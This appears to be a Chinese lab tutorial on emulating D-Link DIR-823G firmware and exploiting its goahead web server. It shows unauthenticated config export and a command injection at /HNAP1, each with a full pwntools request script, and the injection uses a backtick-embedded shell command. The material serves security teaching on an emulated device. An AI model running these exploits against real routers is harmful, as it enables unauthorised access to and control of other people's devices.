学会使用fat模拟IoT设备固件
学会使用IDA分析设备固件内服务程序的逻辑漏洞
学会使用pwntools与IoT设备服务交互并触发漏洞
操作机:Ubuntu 20.04【用户名:user 密码:user】
qemu
fat
binwalk
pwntools
IDA pro
IoT 设备中可能存在各种漏洞,总结来说,这些漏洞可以被大体划分为两大类,一类是内存破坏型漏洞,另一类则是逻辑漏洞。而在逻辑漏洞中,又以未授权访问漏洞和命令注入漏洞最为常见。
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致非管理员的任意用户可以直接访问,从而引发重要权限可被操作、数据库或设备内存等敏感信息泄露。
命令注入漏洞是指由于设备内服务程序对用户提交的数据过滤不严格,导致恶意用户可以通过构造特殊命令字符串的方式,将数据提交至应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者设备信息等。
使用fat模拟IoT设备固件
进行IoT设备未授权访问漏洞的利用
进行IoT设备命令注入漏洞的利用
使用fat模拟IoT设备固件
本节实操课用来测试的设备是 Dlink DIR-823G ,首先利用 fat 工具将该设备的固件快速模拟运行起来。依次输入如下命令,进入该工具的目录,并利用该工具模拟固件文件 DIR823GA1_FW102B03.bin。
$ cd ~/firmware-analysis-toolkit
$ ./fat.py ~/Desktop/experiment2/DIR823GA1_FW102B03.bin
fat 工具会自动解压固件并修改内核,然后再重新打包,最后利用 QEMU 对重新打包的固件模拟运行,但是需要等待一段时间,由该工具自动配置适合该路由设备的网卡和IP地址。
按下回车键就会进入 QEMU 模拟的终端,模拟的 Dlink DIR-823G 设备的地址为192.168.0.1。可以发现终端一直在不停的输出信息,但是其实并不影响命令的输入。
可以在浏览器中访问该模拟设备的管理页面进行验证,显示如下图所示,表示模拟的路由器服务正常。
进行IoT设备未授权访问漏洞的利用
路由设备 Dlink DIR-823G 通过 web 管理界面和用户进行交互,实际功能调用 cgi 实现,但是其 web 服务程序 goahead 没有相应 cgi 文件的权限校验,使得非授权用户也可以直接访问相应功能的 cgi,对设备造成严重影响。
该设备存在如下未授权可以直接访问调用的 cgi:
/cgi-bin/ExportSettings.sh 导出配置文件(信息泄露)
/cgi-bin/upload_settings.cgi 导入配置文件(恶意篡改配置)
/cgi-bin/upload_firmware.cgi 上传更新固件(恶意修改固件)
以未授权访问 /cgi-bin/ExportSettings.sh 导出配置文件为例。可以先在模拟的路由器的管理页面设置一个管理员用户。
退出该用户帐号后,以匿名身份直接通过浏览器访问 /cgi-bin/ExportSettings.sh,发现可以正常导出配置文件。
或者可以直接利用如下 pwntools 脚本伪造一个访问路由设备 /cgi-bin/ExportSettings.sh 的 HTTP 请求,可以同样获取该设备的配置文件。
from pwn import *
context.log_level = 'debug'
io = remote('192.168.0.1', 80)
content = '''GET /cgi-bin/ExportSettings.sh HTTP/1.1\r
Host: 192.168.0.1\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\r
Accept: */*\r
Accept-Encoding: gzip, deflate\r
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8\r
Connection: close\r
\r
'''
io.send(content)
io.recv(1000)
io.recv(1000)
io.close()
进行IoT设备命令注入漏洞的利用
路由设备 Dlink DIR-823G 的 web 服务程序 goahead 还存在命令注入漏洞,先通过命令 binwalk -Me ./DIR823GA1_FW102B03.bin 将其固件解包。
进入到解包后的固件根目录 squashfs-root/bin/ 中,找到其web 服务程序 goahead ,通过 file 命令可以查看其架构为 MIPS。
之后利用命令 wine ~/IDAPro7.5/ida.exe 打开 IDA,并通过 IDA 加载将要分析的固件内程序 goahead
并按 G键打开地址跳转窗口,输入 0x42383C,跳转到漏洞函数 sub_42383C。
之后按F5键查看函数 sub_42383C的反编译代码,不难看出存在命令注入漏洞。
在函数名上按X键,通过交叉引用,逆向分析出该漏洞函数的触发流为:
main -> sub_423F90 -> sub_42383C
通过sub_423F90函数,可以分析出sub_42383C函数是访问 /HNAP1 这个 url 时对应的处理函数。
16
在触发该命令注入漏洞前,模拟该路由设备固件的终端内 web_mtn 目录下,没有 hack.txt 文件。
17
同时,浏览器也无法访问该 hack.txt 文件。
可以通过如下的 pwntools 脚本生成能够触发该命令注入漏洞的请求,该恶意请求执行的命令为echo hacked_by_01dwang!!! > /web_mtn/hack.txt,即向设备的web页面根目录 web_mtn 目录内写入 hack.txt 文件。
from pwn import *
context.log_level = 'debug'
io = remote('192.168.0.1', 80)
content = '''POST /HNAP1/ HTTP/1.1\r
Host: 192.168.0.1\r
Content-Length: 54\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\r
Content-Type: text/xml; charset=UTF-8\r
Accept: */*\r
SOAPAction: "http://purenetworks.com/HNAP1/Login"\r
Accept-Encoding: gzip, deflate\r
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8\r
Connection: close\r
\r
'`echo hacked_by_01dwang!!!!!!!! > /web_mtn/hack.txt`'
'''
io.send(content)
io.recv(1000)
io.close()
在通过脚本生成的恶意请求触发该命令注入漏洞后,路由设备的终端内 web_mtn 目录下,生成了 hack.txt 文件。
同时,浏览器也可以访问该 hack.txt 文件。